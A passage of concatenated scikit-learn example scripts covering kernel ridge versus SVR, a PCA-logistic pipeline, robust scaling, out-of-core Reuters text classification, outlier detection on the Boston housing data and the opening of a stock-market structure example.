    plt.contourf(multiples, multiples, Z, cmap=plt.cm.Paired)
    plt.axis('off')

    # Plot also the training points
    plt.scatter(X[:, 0], X[:, 1], c=targets_train, cmap=plt.cm.Paired)

    plt.title(titles[i])
plt.tight_layout()
plt.show()






"""
=============================================
Comparison of kernel ridge regression and SVR
=============================================

Both kernel ridge regression (KRR) and SVR learn a non-linear function by
employing the kernel trick, i.e., they learn a linear function in the space
induced by the respective kernel which corresponds to a non-linear function in
the original space. They differ in the loss functions (ridge versus
epsilon-insensitive loss). In contrast to SVR, fitting a KRR can be done in
closed-form and is typically faster for medium-sized datasets. On the other
hand, the learned model is non-sparse and thus slower than SVR at
prediction-time.

This example illustrates both methods on an artificial dataset, which
consists of a sinusoidal target function and strong noise added to every fifth
datapoint. The first figure compares the learned model of KRR and SVR when both
complexity/regularization and bandwidth of the RBF kernel are optimized using
grid-search. The learned functions are very similar; however, fitting KRR is
approx. seven times faster than fitting SVR (both with grid-search). However,
prediction of 100000 target values is more than tree times faster with SVR
since it has learned a sparse model using only approx. 1/3 of the 100 training
datapoints as support vectors.

The next figure compares the time for fitting and prediction of KRR and SVR for
different sizes of the training set. Fitting KRR is faster than SVR for medium-
sized training sets (less than 1000 samples); however, for larger training sets
SVR scales better. With regard to prediction time, SVR is faster than
KRR for all sizes of the training set because of the learned sparse
solution. Note that the degree of sparsity and thus the prediction time depends
on the parameters epsilon and C of the SVR.
"""

# Authors: Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause


from __future__ import division
import time

import numpy as np

from sklearn.svm import SVR
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import learning_curve
from sklearn.kernel_ridge import KernelRidge
import matplotlib.pyplot as plt

rng = np.random.RandomState(0)

#############################################################################
# Generate sample data
X = 5 * rng.rand(10000, 1)
y = np.sin(X).ravel()

# Add noise to targets
y[::5] += 3 * (0.5 - rng.rand(X.shape[0]/5))

X_plot = np.linspace(0, 5, 100000)[:, None]

#############################################################################
# Fit regression model
train_size = 100
svr = GridSearchCV(SVR(kernel='rbf', gamma=0.1), cv=5,
                   param_grid={"C": [1e0, 1e1, 1e2, 1e3],
                               "gamma": np.logspace(-2, 2, 5)})

kr = GridSearchCV(KernelRidge(kernel='rbf', gamma=0.1), cv=5,
                  param_grid={"alpha": [1e0, 0.1, 1e-2, 1e-3],
                              "gamma": np.logspace(-2, 2, 5)})

t0 = time.time()
svr.fit(X[:train_size], y[:train_size])
svr_fit = time.time() - t0
print("SVR complexity and bandwidth selected and model fitted in %.3f s"
      % svr_fit)

t0 = time.time()
kr.fit(X[:train_size], y[:train_size])
kr_fit = time.time() - t0
print("KRR complexity and bandwidth selected and model fitted in %.3f s"
      % kr_fit)

sv_ratio = svr.best_estimator_.support_.shape[0] / train_size
print("Support vector ratio: %.3f" % sv_ratio)

t0 = time.time()
y_svr = svr.predict(X_plot)
svr_predict = time.time() - t0
print("SVR prediction for %d inputs in %.3f s"
      % (X_plot.shape[0], svr_predict))

t0 = time.time()
y_kr = kr.predict(X_plot)
kr_predict = time.time() - t0
print("KRR prediction for %d inputs in %.3f s"
      % (X_plot.shape[0], kr_predict))


#############################################################################
# look at the results
sv_ind = svr.best_estimator_.support_
plt.scatter(X[sv_ind], y[sv_ind], c='r', s=50, label='SVR support vectors',
            zorder=2)
plt.scatter(X[:100], y[:100], c='k', label='data', zorder=1)
plt.hold('on')
plt.plot(X_plot, y_svr, c='r',
         label='SVR (fit: %.3fs, predict: %.3fs)' % (svr_fit, svr_predict))
plt.plot(X_plot, y_kr, c='g',
         label='KRR (fit: %.3fs, predict: %.3fs)' % (kr_fit, kr_predict))
plt.xlabel('data')
plt.ylabel('target')
plt.title('SVR versus Kernel Ridge')
plt.legend()

# Visualize training and prediction time
plt.figure()

# Generate sample data
X = 5 * rng.rand(10000, 1)
y = np.sin(X).ravel()
y[::5] += 3 * (0.5 - rng.rand(X.shape[0]/5))
sizes = np.logspace(1, 4, 7)
for name, estimator in {"KRR": KernelRidge(kernel='rbf', alpha=0.1,
                                           gamma=10),
                        "SVR": SVR(kernel='rbf', C=1e1, gamma=10)}.items():
    train_time = []
    test_time = []
    for train_test_size in sizes:
        t0 = time.time()
        estimator.fit(X[:train_test_size], y[:train_test_size])
        train_time.append(time.time() - t0)

        t0 = time.time()
        estimator.predict(X_plot[:1000])
        test_time.append(time.time() - t0)

    plt.plot(sizes, train_time, 'o-', color="r" if name == "SVR" else "g",
             label="%s (train)" % name)
    plt.plot(sizes, test_time, 'o--', color="r" if name == "SVR" else "g",
             label="%s (test)" % name)

plt.xscale("log")
plt.yscale("log")
plt.xlabel("Train size")
plt.ylabel("Time (seconds)")
plt.title('Execution Time')
plt.legend(loc="best")

# Visualize learning curves
plt.figure()

svr = SVR(kernel='rbf', C=1e1, gamma=0.1)
kr = KernelRidge(kernel='rbf', alpha=0.1, gamma=0.1)
train_sizes, train_scores_svr, test_scores_svr = \
    learning_curve(svr, X[:100], y[:100], train_sizes=np.linspace(0.1, 1, 10),
                   scoring="mean_squared_error", cv=10)
train_sizes_abs, train_scores_kr, test_scores_kr = \
    learning_curve(kr, X[:100], y[:100], train_sizes=np.linspace(0.1, 1, 10),
                   scoring="mean_squared_error", cv=10)

plt.plot(train_sizes, test_scores_svr.mean(1), 'o-', color="r",
         label="SVR")
plt.plot(train_sizes, test_scores_kr.mean(1), 'o-', color="g",
         label="KRR")
plt.xlabel("Train size")
plt.ylabel("Mean Squared Error")
plt.title('Learning curves')
plt.legend(loc="best")

plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Pipelining: chaining a PCA and a logistic regression
=========================================================

The PCA does an unsupervised dimensionality reduction, while the logistic
regression does the prediction.

We use a GridSearchCV to set the dimensionality of the PCA

"""
print(__doc__)


# Code source: Gaël Varoquaux
# Modified for documentation by Jaques Grobler
# License: BSD 3 clause


import numpy as np
import matplotlib.pyplot as plt

from sklearn import linear_model, decomposition, datasets
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV

logistic = linear_model.LogisticRegression()

pca = decomposition.PCA()
pipe = Pipeline(steps=[('pca', pca), ('logistic', logistic)])

digits = datasets.load_digits()
X_digits = digits.data
y_digits = digits.target

###############################################################################
# Plot the PCA spectrum
pca.fit(X_digits)

plt.figure(1, figsize=(4, 3))
plt.clf()
plt.axes([.2, .2, .7, .7])
plt.plot(pca.explained_variance_, linewidth=2)
plt.axis('tight')
plt.xlabel('n_components')
plt.ylabel('explained_variance_')

###############################################################################
# Prediction

n_components = [20, 40, 64]
Cs = np.logspace(-4, 4, 3)

#Parameters of pipelines can be set using ‘__’ separated parameter names:

estimator = GridSearchCV(pipe,
                         dict(pca__n_components=n_components,
                              logistic__C=Cs))
estimator.fit(X_digits, y_digits)

plt.axvline(estimator.best_estimator_.named_steps['pca'].n_components,
            linestyle=':', label='n_components chosen')
plt.legend(prop=dict(size=12))
plt.show()






"""
=========================================================
Using FunctionTransformer to select columns
=========================================================

Shows how to use a function transformer in a pipeline. If you know your
dataset's first principle component is irrelevant for a classification task,
you can use the FunctionTransformer to select all but the first column of the
PCA transformed data.
"""
import matplotlib.pyplot as plt
import numpy as np

from sklearn.model_selection import train_test_split
from sklearn.decomposition import PCA
from sklearn.pipeline import make_pipeline
from sklearn.preprocessing import FunctionTransformer


def _generate_vector(shift=0.5, noise=15):
    return np.arange(1000) + (np.random.rand(1000) - shift) * noise


def generate_dataset():
    """
    This dataset is two lines with a slope ~ 1, where one has
    a y offset of ~100
    """
    return np.vstack((
        np.vstack((
            _generate_vector(),
            _generate_vector() + 100,
        )).T,
        np.vstack((
            _generate_vector(),
            _generate_vector(),
        )).T,
    )), np.hstack((np.zeros(1000), np.ones(1000)))


def all_but_first_column(X):
    return X[:, 1:]


def drop_first_component(X, y):
    """
    Create a pipeline with PCA and the column selector and use it to
    transform the dataset.
    """
    pipeline = make_pipeline(
        PCA(), FunctionTransformer(all_but_first_column),
    )
    X_train, X_test, y_train, y_test = train_test_split(X, y)
    pipeline.fit(X_train, y_train)
    return pipeline.transform(X_test), y_test


if __name__ == '__main__':
    X, y = generate_dataset()
    lw = 0
    plt.figure()
    plt.scatter(X[:, 0], X[:, 1], c=y, lw=lw)
    plt.figure()
    X_transformed, y_transformed = drop_first_component(*generate_dataset())
    plt.scatter(
        X_transformed[:, 0],
        np.zeros(len(X_transformed)),
        c=y_transformed,
        lw=lw,
        s=60
    )
    plt.show()






#!/usr/bin/python
# -*- coding: utf-8 -*-

"""
=========================================================
Robust Scaling on Toy Data
=========================================================

Making sure that each Feature has approximately the same scale can be a
crucial preprocessing step. However, when data contains outliers,
:class:`StandardScaler <sklearn.preprocessing.StandardScaler>` can often
be mislead. In such cases, it is better to use a scaler that is robust
against outliers.

Here, we demonstrate this on a toy dataset, where one single datapoint
is a large outlier.
"""
from __future__ import print_function
print(__doc__)


# Code source: Thomas Unterthiner
# License: BSD 3 clause

import matplotlib.pyplot as plt
import numpy as np
from sklearn.preprocessing import StandardScaler, RobustScaler

# Create training and test data
np.random.seed(42)
n_datapoints = 100
Cov = [[0.9, 0.0], [0.0, 20.0]]
mu1 = [100.0, -3.0]
mu2 = [101.0, -3.0]
X1 = np.random.multivariate_normal(mean=mu1, cov=Cov, size=n_datapoints)
X2 = np.random.multivariate_normal(mean=mu2, cov=Cov, size=n_datapoints)
Y_train = np.hstack([[-1]*n_datapoints, [1]*n_datapoints])
X_train = np.vstack([X1, X2])

X1 = np.random.multivariate_normal(mean=mu1, cov=Cov, size=n_datapoints)
X2 = np.random.multivariate_normal(mean=mu2, cov=Cov, size=n_datapoints)
Y_test = np.hstack([[-1]*n_datapoints, [1]*n_datapoints])
X_test = np.vstack([X1, X2])

X_train[0, 0] = -1000  # a fairly large outlier


# Scale data
standard_scaler = StandardScaler()
Xtr_s = standard_scaler.fit_transform(X_train)
Xte_s = standard_scaler.transform(X_test)

robust_scaler = RobustScaler()
Xtr_r = robust_scaler.fit_transform(X_train)
Xte_r = robust_scaler.transform(X_test)


# Plot data
fig, ax = plt.subplots(1, 3, figsize=(12, 4))
ax[0].scatter(X_train[:, 0], X_train[:, 1],
              color=np.where(Y_train > 0, 'r', 'b'))
ax[1].scatter(Xtr_s[:, 0], Xtr_s[:, 1], color=np.where(Y_train > 0, 'r', 'b'))
ax[2].scatter(Xtr_r[:, 0], Xtr_r[:, 1], color=np.where(Y_train > 0, 'r', 'b'))
ax[0].set_title("Unscaled data")
ax[1].set_title("After standard scaling (zoomed in)")
ax[2].set_title("After robust scaling (zoomed in)")
# for the scaled data, we zoom in to the data center (outlier can't be seen!)
for a in ax[1:]:
    a.set_xlim(-3, 3)
    a.set_ylim(-3, 3)
plt.tight_layout()
plt.show()


# Classify using k-NN
from sklearn.neighbors import KNeighborsClassifier

knn = KNeighborsClassifier()
knn.fit(Xtr_s, Y_train)
acc_s = knn.score(Xte_s, Y_test)
print("Testset accuracy using standard scaler: %.3f" % acc_s)
knn.fit(Xtr_r, Y_train)
acc_r = knn.score(Xte_r, Y_test)
print("Testset accuracy using robust scaler:   %.3f" % acc_r)






"""
======================================================
Out-of-core classification of text documents
======================================================

This is an example showing how scikit-learn can be used for classification
using an out-of-core approach: learning from data that doesn't fit into main
memory. We make use of an online classifier, i.e., one that supports the
partial_fit method, that will be fed with batches of examples. To guarantee
that the features space remains the same over time we leverage a
HashingVectorizer that will project each example into the same feature space.
This is especially useful in the case of text classification where new
features (words) may appear in each batch.

The dataset used in this example is Reuters-21578 as provided by the UCI ML
repository. It will be automatically downloaded and uncompressed on first run.

The plot represents the learning curve of the classifier: the evolution
of classification accuracy over the course of the mini-batches. Accuracy is
measured on the first 1000 samples, held out as a validation set.

To limit the memory consumption, we queue examples up to a fixed amount before
feeding them to the learner.
"""

# Authors: Eustache Diemert <eustache@diemert.fr>
#          @FedericoV <https://github.com/FedericoV/>
# License: BSD 3 clause

from __future__ import print_function

from glob import glob
import itertools
import os.path
import re
import tarfile
import time

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import rcParams

from sklearn.externals.six.moves import html_parser
from sklearn.externals.six.moves import urllib
from sklearn.datasets import get_data_home
from sklearn.feature_extraction.text import HashingVectorizer
from sklearn.linear_model import SGDClassifier
from sklearn.linear_model import PassiveAggressiveClassifier
from sklearn.linear_model import Perceptron
from sklearn.naive_bayes import MultinomialNB


def _not_in_sphinx():
    # Hack to detect whether we are running by the sphinx builder
    return '__file__' in globals()


###############################################################################
# Reuters Dataset related routines
# --------------------------------
#


class ReutersParser(html_parser.HTMLParser):
    """Utility class to parse a SGML file and yield documents one at a time."""

    def __init__(self, encoding='latin-1'):
        html_parser.HTMLParser.__init__(self)
        self._reset()
        self.encoding = encoding

    def handle_starttag(self, tag, attrs):
        method = 'start_' + tag
        getattr(self, method, lambda x: None)(attrs)

    def handle_endtag(self, tag):
        method = 'end_' + tag
        getattr(self, method, lambda: None)()

    def _reset(self):
        self.in_title = 0
        self.in_body = 0
        self.in_topics = 0
        self.in_topic_d = 0
        self.title = ""
        self.body = ""
        self.topics = []
        self.topic_d = ""

    def parse(self, fd):
        self.docs = []
        for chunk in fd:
            self.feed(chunk.decode(self.encoding))
            for doc in self.docs:
                yield doc
            self.docs = []
        self.close()

    def handle_data(self, data):
        if self.in_body:
            self.body += data
        elif self.in_title:
            self.title += data
        elif self.in_topic_d:
            self.topic_d += data

    def start_reuters(self, attributes):
        pass

    def end_reuters(self):
        self.body = re.sub(r'\s+', r' ', self.body)
        self.docs.append({'title': self.title,
                          'body': self.body,
                          'topics': self.topics})
        self._reset()

    def start_title(self, attributes):
        self.in_title = 1

    def end_title(self):
        self.in_title = 0

    def start_body(self, attributes):
        self.in_body = 1

    def end_body(self):
        self.in_body = 0

    def start_topics(self, attributes):
        self.in_topics = 1

    def end_topics(self):
        self.in_topics = 0

    def start_d(self, attributes):
        self.in_topic_d = 1

    def end_d(self):
        self.in_topic_d = 0
        self.topics.append(self.topic_d)
        self.topic_d = ""


def stream_reuters_documents(data_path=None):
    """Iterate over documents of the Reuters dataset.

    The Reuters archive will automatically be downloaded and uncompressed if
    the `data_path` directory does not exist.

    Documents are represented as dictionaries with 'body' (str),
    'title' (str), 'topics' (list(str)) keys.

    """

    DOWNLOAD_URL = ('http://archive.ics.uci.edu/ml/machine-learning-databases/'
                    'reuters21578-mld/reuters21578.tar.gz')
    ARCHIVE_FILENAME = 'reuters21578.tar.gz'

    if data_path is None:
        data_path = os.path.join(get_data_home(), "reuters")
    if not os.path.exists(data_path):
        """Download the dataset."""
        print("downloading dataset (once and for all) into %s" %
              data_path)
        os.mkdir(data_path)

        def progress(blocknum, bs, size):
            total_sz_mb = '%.2f MB' % (size / 1e6)
            current_sz_mb = '%.2f MB' % ((blocknum * bs) / 1e6)
            if _not_in_sphinx():
                print('\rdownloaded %s / %s' % (current_sz_mb, total_sz_mb),
                      end='')

        archive_path = os.path.join(data_path, ARCHIVE_FILENAME)
        urllib.request.urlretrieve(DOWNLOAD_URL, filename=archive_path,
                                   reporthook=progress)
        if _not_in_sphinx():
            print('\r', end='')
        print("untarring Reuters dataset...")
        tarfile.open(archive_path, 'r:gz').extractall(data_path)
        print("done.")

    parser = ReutersParser()
    for filename in glob(os.path.join(data_path, "*.sgm")):
        for doc in parser.parse(open(filename, 'rb')):
            yield doc


###############################################################################
# Main
# ----
#
# Create the vectorizer and limit the number of features to a reasonable
# maximum

vectorizer = HashingVectorizer(decode_error='ignore', n_features=2 ** 18,
                               non_negative=True)


# Iterator over parsed Reuters SGML files.
data_stream = stream_reuters_documents()

# We learn a binary classification between the "acq" class and all the others.
# "acq" was chosen as it is more or less evenly distributed in the Reuters
# files. For other datasets, one should take care of creating a test set with
# a realistic portion of positive instances.
all_classes = np.array([0, 1])
positive_class = 'acq'

# Here are some classifiers that support the `partial_fit` method
partial_fit_classifiers = {
    'SGD': SGDClassifier(),
    'Perceptron': Perceptron(),
    'NB Multinomial': MultinomialNB(alpha=0.01),
    'Passive-Aggressive': PassiveAggressiveClassifier(),
}


def get_minibatch(doc_iter, size, pos_class=positive_class):
    """Extract a minibatch of examples, return a tuple X_text, y.

    Note: size is before excluding invalid docs with no topics assigned.

    """
    data = [(u'{title}\n\n{body}'.format(**doc), pos_class in doc['topics'])
            for doc in itertools.islice(doc_iter, size)
            if doc['topics']]
    if not len(data):
        return np.asarray([], dtype=int), np.asarray([], dtype=int)
    X_text, y = zip(*data)
    return X_text, np.asarray(y, dtype=int)


def iter_minibatches(doc_iter, minibatch_size):
    """Generator of minibatches."""
    X_text, y = get_minibatch(doc_iter, minibatch_size)
    while len(X_text):
        yield X_text, y
        X_text, y = get_minibatch(doc_iter, minibatch_size)


# test data statistics
test_stats = {'n_test': 0, 'n_test_pos': 0}

# First we hold out a number of examples to estimate accuracy
n_test_documents = 1000
tick = time.time()
X_test_text, y_test = get_minibatch(data_stream, 1000)
parsing_time = time.time() - tick
tick = time.time()
X_test = vectorizer.transform(X_test_text)
vectorizing_time = time.time() - tick
test_stats['n_test'] += len(y_test)
test_stats['n_test_pos'] += sum(y_test)
print("Test set is %d documents (%d positive)" % (len(y_test), sum(y_test)))


def progress(cls_name, stats):
    """Report progress information, return a string."""
    duration = time.time() - stats['t0']
    s = "%20s classifier : \t" % cls_name
    s += "%(n_train)6d train docs (%(n_train_pos)6d positive) " % stats
    s += "%(n_test)6d test docs (%(n_test_pos)6d positive) " % test_stats
    s += "accuracy: %(accuracy).3f " % stats
    s += "in %.2fs (%5d docs/s)" % (duration, stats['n_train'] / duration)
    return s


cls_stats = {}

for cls_name in partial_fit_classifiers:
    stats = {'n_train': 0, 'n_train_pos': 0,
             'accuracy': 0.0, 'accuracy_history': [(0, 0)], 't0': time.time(),
             'runtime_history': [(0, 0)], 'total_fit_time': 0.0}
    cls_stats[cls_name] = stats

get_minibatch(data_stream, n_test_documents)
# Discard test set

# We will feed the classifier with mini-batches of 1000 documents; this means
# we have at most 1000 docs in memory at any time.  The smaller the document
# batch, the bigger the relative overhead of the partial fit methods.
minibatch_size = 1000

# Create the data_stream that parses Reuters SGML files and iterates on
# documents as a stream.
minibatch_iterators = iter_minibatches(data_stream, minibatch_size)
total_vect_time = 0.0

# Main loop : iterate on mini-batches of examples
for i, (X_train_text, y_train) in enumerate(minibatch_iterators):

    tick = time.time()
    X_train = vectorizer.transform(X_train_text)
    total_vect_time += time.time() - tick

    for cls_name, cls in partial_fit_classifiers.items():
        tick = time.time()
        # update estimator with examples in the current mini-batch
        cls.partial_fit(X_train, y_train, classes=all_classes)

        # accumulate test accuracy stats
        cls_stats[cls_name]['total_fit_time'] += time.time() - tick
        cls_stats[cls_name]['n_train'] += X_train.shape[0]
        cls_stats[cls_name]['n_train_pos'] += sum(y_train)
        tick = time.time()
        cls_stats[cls_name]['accuracy'] = cls.score(X_test, y_test)
        cls_stats[cls_name]['prediction_time'] = time.time() - tick
        acc_history = (cls_stats[cls_name]['accuracy'],
                       cls_stats[cls_name]['n_train'])
        cls_stats[cls_name]['accuracy_history'].append(acc_history)
        run_history = (cls_stats[cls_name]['accuracy'],
                       total_vect_time + cls_stats[cls_name]['total_fit_time'])
        cls_stats[cls_name]['runtime_history'].append(run_history)

        if i % 3 == 0:
            print(progress(cls_name, cls_stats[cls_name]))
    if i % 3 == 0:
        print('\n')


###############################################################################
# Plot results
# ------------


def plot_accuracy(x, y, x_legend):
    """Plot accuracy as a function of x."""
    x = np.array(x)
    y = np.array(y)
    plt.title('Classification accuracy as a function of %s' % x_legend)
    plt.xlabel('%s' % x_legend)
    plt.ylabel('Accuracy')
    plt.grid(True)
    plt.plot(x, y)

rcParams['legend.fontsize'] = 10
cls_names = list(sorted(cls_stats.keys()))

# Plot accuracy evolution
plt.figure()
for _, stats in sorted(cls_stats.items()):
    # Plot accuracy evolution with #examples
    accuracy, n_examples = zip(*stats['accuracy_history'])
    plot_accuracy(n_examples, accuracy, "training examples (#)")
    ax = plt.gca()
    ax.set_ylim((0.8, 1))
plt.legend(cls_names, loc='best')

plt.figure()
for _, stats in sorted(cls_stats.items()):
    # Plot accuracy evolution with runtime
    accuracy, runtime = zip(*stats['runtime_history'])
    plot_accuracy(runtime, accuracy, 'runtime (s)')
    ax = plt.gca()
    ax.set_ylim((0.8, 1))
plt.legend(cls_names, loc='best')

# Plot fitting times
plt.figure()
fig = plt.gcf()
cls_runtime = []
for cls_name, stats in sorted(cls_stats.items()):
    cls_runtime.append(stats['total_fit_time'])

cls_runtime.append(total_vect_time)
cls_names.append('Vectorization')
bar_colors = ['b', 'g', 'r', 'c', 'm', 'y']

ax = plt.subplot(111)
rectangles = plt.bar(range(len(cls_names)), cls_runtime, width=0.5,
                     color=bar_colors)

ax.set_xticks(np.linspace(0.25, len(cls_names) - 0.75, len(cls_names)))
ax.set_xticklabels(cls_names, fontsize=10)
ymax = max(cls_runtime) * 1.2
ax.set_ylim((0, ymax))
ax.set_ylabel('runtime (s)')
ax.set_title('Training Times')


def autolabel(rectangles):
    """attach some text vi autolabel on rectangles."""
    for rect in rectangles:
        height = rect.get_height()
        ax.text(rect.get_x() + rect.get_width() / 2.,
                1.05 * height, '%.4f' % height,
                ha='center', va='bottom')

autolabel(rectangles)
plt.show()

# Plot prediction times
plt.figure()
cls_runtime = []
cls_names = list(sorted(cls_stats.keys()))
for cls_name, stats in sorted(cls_stats.items()):
    cls_runtime.append(stats['prediction_time'])
cls_runtime.append(parsing_time)
cls_names.append('Read/Parse\n+Feat.Extr.')
cls_runtime.append(vectorizing_time)
cls_names.append('Hashing\n+Vect.')

ax = plt.subplot(111)
rectangles = plt.bar(range(len(cls_names)), cls_runtime, width=0.5,
                     color=bar_colors)

ax.set_xticks(np.linspace(0.25, len(cls_names) - 0.75, len(cls_names)))
ax.set_xticklabels(cls_names, fontsize=8)
plt.setp(plt.xticks()[1], rotation=30)
ymax = max(cls_runtime) * 1.2
ax.set_ylim((0, ymax))
ax.set_ylabel('runtime (s)')
ax.set_title('Prediction Times (%d instances)' % n_test_documents)
autolabel(rectangles)
plt.show()






"""
====================================
Outlier detection on a real data set
====================================

This example illustrates the need for robust covariance estimation
on a real data set. It is useful both for outlier detection and for
a better understanding of the data structure.

We selected two sets of two variables from the Boston housing data set
as an illustration of what kind of analysis can be done with several
outlier detection tools. For the purpose of visualization, we are working
with two-dimensional examples, but one should be aware that things are
not so trivial in high-dimension, as it will be pointed out.

In both examples below, the main result is that the empirical covariance
estimate, as a non-robust one, is highly influenced by the heterogeneous
structure of the observations. Although the robust covariance estimate is
able to focus on the main mode of the data distribution, it sticks to the
assumption that the data should be Gaussian distributed, yielding some biased
estimation of the data structure, but yet accurate to some extent.
The One-Class SVM algorithm

First example
-------------
The first example illustrates how robust covariance estimation can help
concentrating on a relevant cluster when another one exists. Here, many
observations are confounded into one and break down the empirical covariance
estimation.
Of course, some screening tools would have pointed out the presence of two
clusters (Support Vector Machines, Gaussian Mixture Models, univariate
outlier detection, ...). But had it been a high-dimensional example, none
of these could be applied that easily.

Second example
--------------
The second example shows the ability of the Minimum Covariance Determinant
robust estimator of covariance to concentrate on the main mode of the data
distribution: the location seems to be well estimated, although the covariance
is hard to estimate due to the banana-shaped distribution. Anyway, we can
get rid of some outlying observations.
The One-Class SVM is able to capture the real data structure, but the
difficulty is to adjust its kernel bandwidth parameter so as to obtain
a good compromise between the shape of the data scatter matrix and the
risk of over-fitting the data.

"""
print(__doc__)

# Author: Virgile Fritsch <virgile.fritsch@inria.fr>
# License: BSD 3 clause

import numpy as np
from sklearn.covariance import EllipticEnvelope
from sklearn.svm import OneClassSVM
import matplotlib.pyplot as plt
import matplotlib.font_manager
from sklearn.datasets import load_boston

# Get data
X1 = load_boston()['data'][:, [8, 10]]  # two clusters
X2 = load_boston()['data'][:, [5, 12]]  # "banana"-shaped

# Define "classifiers" to be used
classifiers = {
    "Empirical Covariance": EllipticEnvelope(support_fraction=1.,
                                             contamination=0.261),
    "Robust Covariance (Minimum Covariance Determinant)":
    EllipticEnvelope(contamination=0.261),
    "OCSVM": OneClassSVM(nu=0.261, gamma=0.05)}
colors = ['m', 'g', 'b']
legend1 = {}
legend2 = {}

# Learn a frontier for outlier detection with several classifiers
xx1, yy1 = np.meshgrid(np.linspace(-8, 28, 500), np.linspace(3, 40, 500))
xx2, yy2 = np.meshgrid(np.linspace(3, 10, 500), np.linspace(-5, 45, 500))
for i, (clf_name, clf) in enumerate(classifiers.items()):
    plt.figure(1)
    clf.fit(X1)
    Z1 = clf.decision_function(np.c_[xx1.ravel(), yy1.ravel()])
    Z1 = Z1.reshape(xx1.shape)
    legend1[clf_name] = plt.contour(
        xx1, yy1, Z1, levels=[0], linewidths=2, colors=colors[i])
    plt.figure(2)
    clf.fit(X2)
    Z2 = clf.decision_function(np.c_[xx2.ravel(), yy2.ravel()])
    Z2 = Z2.reshape(xx2.shape)
    legend2[clf_name] = plt.contour(
        xx2, yy2, Z2, levels=[0], linewidths=2, colors=colors[i])

legend1_values_list = list(legend1.values())
legend1_keys_list = list(legend1.keys())

# Plot the results (= shape of the data points cloud)
plt.figure(1)  # two clusters
plt.title("Outlier detection on a real data set (boston housing)")
plt.scatter(X1[:, 0], X1[:, 1], color='black')
bbox_args = dict(boxstyle="round", fc="0.8")
arrow_args = dict(arrowstyle="->")
plt.annotate("several confounded points", xy=(24, 19),
             xycoords="data", textcoords="data",
             xytext=(13, 10), bbox=bbox_args, arrowprops=arrow_args)
plt.xlim((xx1.min(), xx1.max()))
plt.ylim((yy1.min(), yy1.max()))
plt.legend((legend1_values_list[0].collections[0],
            legend1_values_list[1].collections[0],
            legend1_values_list[2].collections[0]),
           (legend1_keys_list[0], legend1_keys_list[1], legend1_keys_list[2]),
           loc="upper center",
           prop=matplotlib.font_manager.FontProperties(size=12))
plt.ylabel("accessibility to radial highways")
plt.xlabel("pupil-teacher ratio by town")

legend2_values_list = list(legend2.values())
legend2_keys_list = list(legend2.keys())

plt.figure(2)  # "banana" shape
plt.title("Outlier detection on a real data set (boston housing)")
plt.scatter(X2[:, 0], X2[:, 1], color='black')
plt.xlim((xx2.min(), xx2.max()))
plt.ylim((yy2.min(), yy2.max()))
plt.legend((legend2_values_list[0].collections[0],
            legend2_values_list[1].collections[0],
            legend2_values_list[2].collections[0]),
           (legend2_keys_list[0], legend2_keys_list[1], legend2_keys_list[2]),
           loc="upper center",
           prop=matplotlib.font_manager.FontProperties(size=12))
plt.ylabel("% lower status of the population")
plt.xlabel("average number of rooms per dwelling")

plt.show()






"""
=======================================
Visualizing the stock market structure
=======================================

This example employs several unsupervised learning techniques to extract
the stock market structure from variations in historical quotes.

The quantity that we use is the daily variation in quote price: quotes
that are linked tend to cofluctuate during a day.

.. _stock_market:

Learning a graph structure
--------------------------

We use sparse inverse covariance estimation to find which quotes are
correlated conditionally on the others. Specifically, sparse inverse
covariance gives us a graph, that is a list of connection. For each
symbol, the symbols that it is connected too are those useful to explain
its fluctuations.

Clustering
----------

We use clustering to group together quotes that behave similarly. Here,
amongst the :ref:`various clustering techniques <clustering>` available
in the scikit-learn, we use :ref:`affinity_propagation` as it does
not enforce equal-size clusters, and it can choose automatically the
number of clusters from the data.

Note that this gives us a different indication than the graph, as the
graph reflects conditional relations between variables, while the
clustering reflects marginal properties: variables clustered together can
be considered as having a similar impact at the level of the full stock
market.

Embedding in 2D space
---------------------

For visualization purposes, we need to lay out the different symbols on a
2D canvas. For this we use :ref:`manifold` techniques to retrieve 2D
embedding.


Visualization
-------------

The output of the 3 models are combined in a 2D graph where nodes
represents the stocks and edges the:

- cluster labels are used to define the color of the nodes
- the sparse covariance model is used to display the strength of the edges
- the 2D embedding is used to position the nodes in the plan

This example has a fair amount of visualization-related code, as
visualization is crucial here to display the graph. One of the challenge
is to position the labels minimizing overlap. For this we use an
heuristic based on the direction of the nearest neighbor along each
axis.
"""
print(__doc__)

# Author: Gael Varoquaux gael.varoquaux@normalesup.org
# License: BSD 3 clause

import datetime

import numpy as np
import matplotlib.pyplot as plt
try:
     from matplotlib.finance import quotes_historical_yahoo_ochl
except ImportError:
     # quotes_historical_yahoo_ochl was named quotes_historical_yahoo before matplotlib 1.4
     from matplotlib.finance import quotes_historical_yahoo as quotes_historical_yahoo_ochl
from matplotlib.collections import LineCollection
from sklearn import cluster, covariance, manifold

###############################################################################
# Retrieve the data from Internet

# Choose a time period reasonably calm (not too long ago so that we get
# high-tech firms, and before the 2008 crash)
d1 = datetime.datetime(2003, 1, 1)
d2 = datetime.datetime(2008, 1, 1)

# kraft symbol has now changed from KFT to MDLZ in yahoo
symbol_dict = {
    'TOT': 'Total',
    'XOM': 'Exxon',
    'CVX': 'Chevron',
    'COP': 'ConocoPhillips',
    'VLO': 'Valero Energy',
    'MSFT': 'Microsoft',
    'IBM': 'IBM',
    'TWX': 'Time Warner',
    'CMCSA': 'Comcast',
    'CVC': 'Cablevision',
    'YHOO': 'Yahoo',
    'DELL': 'Dell',
    'HPQ': 'HP',
    'AMZN': 'Amazon',
    'TM': 'Toyota',
    'CAJ': 'Canon',
    'MTU': 'Mitsubishi',
    'SNE': 'Sony',
    'F': 'Ford',
    'HMC': 'Honda',
    'NAV': 'Navistar',
    'NOC': 'Northrop Grumman',
    'BA': 'Boeing',
    'KO': 'Coca Cola',
    'MMM': '3M',
    'MCD': 'Mc Donalds',
    'PEP': 'Pepsi',
    'MDLZ': 'Kraft Foods',
    'K': 'Kellogg',
    'UN': 'Unilever',
    'MAR': 'Marriott',
    'PG': 'Procter Gamble',
    'CL': 'Colgate-Palmolive',
    'GE': 'General Electrics',
    'WFC': 'Wells Fargo',
    'JPM': 'JPMorgan Chase',
    'AIG': 'AIG',
    'AXP': 'American express',
    'BAC': 'Bank of America',
    'GS': 'Goldman Sachs',
